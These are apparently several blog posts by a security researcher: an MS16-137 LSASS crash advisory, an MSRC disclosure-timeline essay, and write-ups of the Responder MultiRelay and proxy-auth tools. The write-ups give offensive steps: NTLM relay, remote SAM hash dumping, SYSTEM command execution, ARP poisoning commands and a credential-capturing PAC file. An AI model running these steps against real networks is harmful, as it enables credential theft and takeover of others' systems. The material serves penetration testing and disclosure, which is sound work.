MS16-137: LSASS Remote Memory Corruption Advisory

Title:  LSASS SMB NTLM Exchange Remote Memory Corruption
Version:                1.0
Issue type:            Null Pointer Dereference
Authentication:     Pre-Authenticated
Affected vendor:   Microsoft
Release date:        8/11/2016
Discovered by:      Laurent Gaffié
Advisory by:          Laurent Gaffié
Issue status:          Patch available
Affected versions: Windows: XP/Server 2003, Vista, 7, 2008R2, Server 2012R2, 10.
=================================================

A vulnerability in Windows Local Security Authority Subsystem Service (LSASS) was found on Windows OS versions ranging from Windows XP through to Windows 10. This vulnerability allows an attacker to remotely crash the  LSASS.EXE process of an affected workstation with no user interaction.
Successful remote exploitation of this issue will result in a reboot of the target machine. Local privilege escalation should also be considered likely.
Microsoft acknowledged the vulnerability and has published an advisory and a patch, resolving this issue.


Technical details
-----------------

This vulnerability affects both LSASS client and server and can be triggered remotely via SMBv1 and SMBv2, during the NTLM message 3 (Authenticate) message. Incoming NTLM messages via SMB are using ASN1 and DER encoding, the first ASN length field can be set to unsigned int by using 0x84.
This allows an attacker to remotely allocate a huge chunk of memory, for a message never larger than 20000 chars. The secondary trigger is to set any string fields (User, Domain, session Key, MIC, etc) with a long string (80-140 chars), leading LSASS.exe to crash.

eax=00000000 ebx=000e3e04 ecx=fffffff8 edx=fffffffc esi=000e3e00 edi=00000004
eip=7c84cca2 esp=00aaf9ac ebp=00aaf9d4 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010213
ntdll!RtlpWaitOnCriticalSection+0xdf:
7c84cca2 ff4014          inc     dword ptr [eax+14h]  ds:0023:00000014=????????

STACK_TEXT: 
00aaf9d4 7c83cfd7 00000b3c 00000004 00000000 ntdll!RtlpWaitOnCriticalSection+0xdf
00aaf9f4 4ab82f4a 000e3e00 00aafbec 00000000 ntdll!RtlEnterCriticalSection+0xa8       <-- Is used with a null pointer
00aafa18 4ab82765 000e3de8 ffffffff 00000001 lsasrv!NegpBuildMechListFromCreds+0x25   <-- Uses a null creds.
00aafbfc 4abc8fbb 00000001 00aafe40 000e3de8 lsasrv!NegBuildRequestToken+0xd9
00aafc34 4abca13f 000e3de8 00120111 00000010 lsasrv!NegGenerateServerRequest+0x2a
00aafc98 4ab85edb 000e3de8 00000000 00aafe40 lsasrv!NegAcceptLsaModeContext+0x344
00aafd0c 4ab860c8 00d5f900 00d5f908 00aafe40 lsasrv!WLsaAcceptContext+0x139
00aafe84 4ab7ae7b 00d5f8d8 005ccaf0 00599048 lsasrv!LpcAcceptContext+0x13b
00aafe9c 4ab7ad7e 00d5f8d8 4ac22738 00d5a158 lsasrv!DispatchAPI+0x46
00aaff54 4ab7a7c9 00d5f8d8 00aaff9c 77e5baf1 lsasrv!LpcHandler+0x1fe
00aaff78 4ab8f448 00598ce8 00000000 00000000 lsasrv!SpmPoolThreadBase+0xb9
00aaffb8 77e6484f 0059ade8 00000000 00000000 lsasrv!LsapThreadBase+0x91
00aaffec 00000000 4ab8f3f1 0059ade8 00000000 kernel32!BaseThreadStart+0x34

dt ntdll!_RTL_CRITICAL_SECTION
   +0x000 DebugInfo        : Ptr32 _RTL_CRITICAL_SECTION_DEBUG
   +0x004 LockCount        : Int4B
   +0x008 RecursionCount   : Int4B
   +0x00c OwningThread     : Ptr32 Void
   +0x010 LockSemaphore    : Ptr32 Void
   +0x014 SpinCount        : Uint4B

- LSASS NegpBuildMechListFromCreds sends a null pointer "creds" to NTDLL RtlEnterCriticalSection.
- RtlEnterCriticalSection is used with a null pointer, which triggers the crash.

Impact
------

Successful attempts will result in a remote system crash and possibly local privilege escalation.

Affected products
-----------------

Windows:
- XP
- Server 2003
- 7
- 8
- 2008
- 2012
- 10

Proof of concept
----------------

A proof of concept is available at the following URL:
https://github.com/lgandx/PoC/tree/master/LSASS
This proof of concept is fully automated and includes non-vulnerable detection.

Solution
--------

Install the corresponding MS patch.
More details:
https://technet.microsoft.com/en-us/library/security/ms16-137.aspx

Response timeline
-----------------

* 17/09/2016 - Vendor notified, proof of concept sent.
* 28/09/2016 - Issue confirmed by MSRC
* 14/10/2016 - Vendor says he plan to release a patch in November, that is 1 month in advance of the scheduled 3 month.
* 08/11/2016 - Vendor release MS16-137.
* 08/11/2016 - This advisory released.

References
----------
* https://twitter.com/PythonResponder
* https://github.com/lgandx/Responder

Introducing Responder MultiRelay 1.0

MultiRelay Description:

MultiRelay is a powerful pentest utility included in Responder's tools folder, giving you the ability to perform targeted NTLMv1 and NTLMv2 relay on a selected target.

Currently MultiRelay relays HTTP, WebDav, Proxy and SMB authentications to an SMB server.

This tool can be customized to accept a range of users to relay to a target. The concept behind this is to only target domain Administrators, local  Administrators, or privileged accounts.

Once a relay has been successful, MultiRelay will give you an interactive shell allowing you to:

•  Remotely dump the LM and NT hashes on the target.

• Remotely dump any registry keys under HKLM.

• Read any file on the target.

• Download any file on the target.

• Execute any command as System on the target.

Usage Overview:

Most of the time, MultiRelay can be run with the following options:

• ./tools/MultiRelay.py -t Target_IP -u Administrator DAaccount AnotherAdmin

MultiRelay comes with a set of 3 options:

• -p: Add an extra listening port for HTTP, WebDav, Proxy requests to relay.

• -u: A list of users to relay. -u can also be set to "ALL" to target all users.

• -t: The target

MultiRelay will start by fingerprinting your target and tell you if SMB Signing is mandatory and if so, will let you know that you should target another server.

Another useful utility included in Responder's tools folder is RunFinger.py. RunFinger accepts a single IP address or a class C range and will tell you the following for a given target:

• Os version

• Domain joined

• Signing is mandatory or not.

RunFinger can dump this information in a grepable format by using the -g command line switch:
root@lgandx:~/Responder-2.3.3.0# ./tools/RunFinger.py -g -i 10.10.20.0/24
Wich will output something like:
...
[10.10.20.41: 'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False']
[10.10.20.36: 'Windows Server 2012 R2 Standard 9600', domain: 'CORP', signing:'False']
[10.10.20.22: 'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False']
[10.10.20.43: 'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False']
[10.10.20.49: 'Windows Server 2012 R2 Standard 9600', domain: 'CORP', signing:'True']
[10.10.20.35: 'Windows Server 2012 R2 Standard 9600', domain: 'CORP', signing:'False']
[10.10.20.40: 'Windows Server 2012 Standard 9200', domain: 'CORP', signing:'False']
....
This utility is useful for mapping networks and to carefully select a target.

Running The Tool, The Common Scenario:

MultiRelay was built to work in conjunction with Responder.py, the common usage scenario is:

• Set SMB and HTTP to Off in Responder.conf

• ./Responder.py -I eth0 -rv on one screen

• ./tools/MultiRelay.py -t Target_IP -u Administrator DAaccount OtherAdmin on another one.

In this scenario all NBT-NS, LLMNR lookups will be resolved with Responder.py to our IP address, MultiRelay will be listening on TCP port 80, 3128, 445 and will be waiting for incoming connections.

Once a connection is received, MultiRelay will be parsing all authentication requests and will verify if:

• The user authentication is allowed to be relayed on the target.

• This user has already been relayed to our target and if the server returned a logon failure.

If this user was previously relayed and the server returned a logon failure, this user will be blacklisted for further authentication.

This is done to prevent account lockouts. This check can be reset by deleting the SMBRelay-Session.txt file in Responder logs folder.

Even if a user is not allowed to be relayed, his NTLMv1/v2 sets of credentials will be captured and stored in Responder logs folder as "SMB-Relay-CLIENTIP.txt", so you won't lose any hashes while running MultiRelay.py

The LLMNR/NBT-NS Disabled Scenario:

MultiRelay can also be easily used in combination with ARP poisoning attacks, in this scenario let's assume:

• Switch IP: 10.10.10.254

• File server: 10.10.10.20

•  Backup file server (target): 10.10.10.24

•  Our IP: 10.10.10.201

After some reconnaissance, we know for fact that once in a while the target is syncing with the File sharing server using its Administrator account.
We can therefore setup the following targeted ARP poisoning attack:

Lets enable IP forwarding.

•  echo 1 > /proc/sys/net/ipv4/ip_forward

We will be dropping all outgoing ICMP. This prevents the kernel sending port/host unreachable to our target.

•  iptables -A OUTPUT -p ICMP -j DROP

Since all packets will be going through our box, let's rewrite the destination address and port on the fly for all SMB requests destinated to 10.10.10.20:445 to our IP 10.10.10.201:445.

• iptables -t nat -A PREROUTING -p tcp --dst 10.10.10.20 --dport 445 -j DNAT --to-destination 10.10.10.201:445

Launch MultiRelay:

• ./tools/MultiRelay.py -t10.10.10.20 -U Administrator

And finally, launch the actual attack, we only target the backup fileshare:

• ettercap -T -q -w AttackDump-01.pcap -p -M arp:remote /10.10.10.254// /10.10.10.24//

MultiRelay Functionalities:

Once a relay has been successfull, MultiRelay will let you:

•  Dump registry key and subkeys remotely.

This is done by making a DCE/RPC call to the Windows Remote Registry pipe, saving the key on the SMB server and finally making a read request to the selected saved key.

•  Dump the SAM database remotely.

This is done by extracting the bootkey and saving the SAM key locally. Responder includes a version of creddump which will parse and output the hashes.

•  Read a file on the target SMB server.

Simple SMB read request on a given file.

•  Download a file from the SMB server.

Same as read file, but we save the output locally.

•  Execute a command as system on the server.

This one is done by making a DCE/RPC call to the Windows Services Control Manager and remotely creating a service which will run this command:

• cmd.exe /C echo del /F /Q Filename.bat ^&^User defined command goes here^>Windows\Temp\Results.txt >Filename.bat& cmd.exe /C call Filename.bat&exit

That is:

1.  echo "del /F /Q Filename.bat ^&^User defined command goes here^>Windows\Temp\Results.txt" into Filename.bat
2.  run Filename.bat and exit.

We then make a SMB read request on Results.txt, and we print the output to the user console.

Download link: https://github.com/lgandx/Responder

Thanks:

• DiabloHorn https://diablohorn.com/2013/10/24/remote-hash-dumping-no-processes-or-tool-upload-needed/

• Alberto Solino (@agsolino) smbrelayx and Impacket: https://github.com/CoreSecurity/impacket

• Brendan Dolan-Gavitt (@moyix): http://moyix.blogspot.com/2008/02/creddump-extract-credentials-from.html and https://github.com/moyix/creddump

Status of Submitted Vulnerabilities To MSRC

This list is intended to give vague information about submitted bugs, but important information about communication process and timeline.

Bug Title: Microsoft Local Security Authority Subsystem Service (LSASS) Remote Memory Corruption.

• Affected software: Microsoft Local Security Authority Subsystem Service (LSASS)
• Type: Memory Corruption.
• Submitted: 15/09/2016
• Coordinated disclosure agreement expiration: 15/12/2016.
• Notes and updates:
  -Proof of concept code was sent on 17/09/2016, no confirmations or real updates were received since then.
  - 28/09/2016: Issue confirmed by MSRC, they are planning on releasing a patch on each affected platform.
  - MSRC informed the bug submitter that they are planning to release a patch on November 8, 2016, that is a full month in advance of the 3 months deadline.

Bug Title: SMBv2 Remote Memory Corruption.

• Affected software: Microsoft SMBv2.
• Type: Memory Corruption.
• Submitted: 25/09/2016. 
• Coordinated disclosure agreement expiration: 25/12/2016.
• Notes and updates:
  - MSRC is currently investigating the issue.
  - Microsoft confirmed the issue on 28/09/2016.
  - Bug submitter extended his coordinated disclosure agreement to 1 more month, due to certain circumstances around this issue.

Bug Title: Microsoft Active Directory PDC Remote Code Execution.

• Affected software: Microsoft Active Directory
• Type: Protocol Abuse
• Submitted: 09/12/2016
• Bug status: Implemented in Responder v2.3.2.2
• Notes and updates:
  - Proof of concept code was sent on 12/09/2016, Microsoft is planning to release a security fix "over the next few months".
  - Additional proof of concept provided on 02/10/2016 leading to privilege escalation.

Reporting Vulnerability Policy

After several years of actively reporting security bugs to various vendors I came to the following conclusion:

• A vendor will usually sit on a critical bug as long as he can. Response teams like MSRC, are particularly good at it. I've seen cases where a critical RCE took more than a year before a patch came out.

• While they usually pretend to care about end-users, most of the time a security patch is released when timing is opportunistic. For example, Server side bugs (RDP, AD/SMB, Lync) month is usually June at MSRC:

1. https://technet.microsoft.com/en-us/library/security/ms16-jun.aspx
2. https://technet.microsoft.com/en-us/library/security/ms15-jun.aspx
3. https://technet.microsoft.com/en-us/library/security/ms14-jun.aspx
4. https://technet.microsoft.com/en-us/library/security/ms13-jun.aspx
5. https://technet.microsoft.com/en-us/library/security/ms12-jun.aspx
6. https://technet.microsoft.com/en-us/library/security/ms11-jun.aspx

• We only see how long a vendor took to fix a vulnerability when there's an actual advisory with a timeline. Usually the average time is 7-9 months.

• Taking even 6 months to fix a simple length check is simply not acceptable. It doesn't show in any way a commitment for the security of their users.

Although I must say that I had the opportunity to work with productive vendors in the past for the same kind of bugs I submitted to MSRC. For example, with Samba's Security team, a technical answer was usually sent within 2 hours after submitting a security bug and was fixed across all their branches within 1 week at most.

After some constructive discussions with MSRC lately I decided that I don't want to somehow contribute to this scheme and that things need to change.

Starting today, vulnerabilities already submitted to MSRC will be announced publicly (vuln title, criticity, vuln type) on this blog, but no technical details will be provided to the general public until a patch is out or until my vulnerability disclosure policy agreement has been breached (taking more than x months, for example). Users will be able to track the time it takes them to patch a critical issue and will pressure them if they feel the timeline is unfair. Communities are great for that.

NAC, IDS, IPS vendors might receive ready to go signature for a fairly low price on a case by case review, I don't want any of this ending in any gov's hands before a patch is out. Therefore, selected security vendors will be able to protect their users from critical 0day attacks several months before Microsoft finally decide to protect them by releasing the actual patch.

I invite any frequent MSRC submitter to join me, if they feel like MSFT or any other high profile vendor is sitting on their bugs, it can also be hosted here or published in the same way on their websites.

Users win, you win, I win.

GPG public key: AD0D 60A7 FDAE 1443 F439 D6B1 8DA2 BA12 402E 6A77

Introducing Proxy Auth on Responder 2.3.2

Few days ago mubix submitted a feature request on Responder repository. 

I liked the idea and I started working on it. The concept was to force authentication while a victim would use the WPAD proxy server, but then comes the question: Why would you auth someone on the proxy while you used the option -F to force authentication for wpad.dat file retrieval?

Why not letting anyone get that wpad.dat configuration file for free, no authentication and then use another proxy server (not the wpad server) to force authentication, so Responder doesn't send an HTTP 401 response, but a 407 Proxy Authentication Required and then ditch the connection.

Thanks to PAC files, you can set fail-over proxy servers:

function FindProxyForURL(url, host)
{
if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host))
   return "DIRECT";

if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)"))
   return "DIRECT";

return 'PROXY 10.10.100.10:3128; PROXY 10.10.100.20:3141; DIRECT';
}

The last line means: 

If the proxy server 10.10.100.10:3128 fails, then use this one: 10.10.100.20:3141 and if both fails, use a direct connection to the intranet or internet.

Using this functionality, we can make sure the WPAD server is not working -by not using the -w option- then any workstation using our PAC file will:

• Connect to 10.10.100.10:3128 and send a request with URL, cookies, headers.

• The Auth-Proxy module will respond with a 407 and request credentials.
  
• The workstation will transparently send its encrypted NTLMv1/NTLMv2 credentials and will get a TCP Reset from the proxy server right after that.
  
• This is done by using SO_LINGER which will send a RST as soon as close() is called, faking a proxy server failure.

• The workstation will then attempt the second proxy server 10.10.100.20:3141 which is offline.

• Finally the workstation will connect to the internet directly.

The user behind his desk using Internet Explorer has seen nothing and has internet access, we get his NTLM credentials.

This attack is highly effective and is included in the latest version 2.3.2:

https://github.com/lgandx/Responder/

This video demonstrates the concept on a 2012R2 PDC with default settings, someone simply open IE, Responder gets the credentials transparently, no password prompt: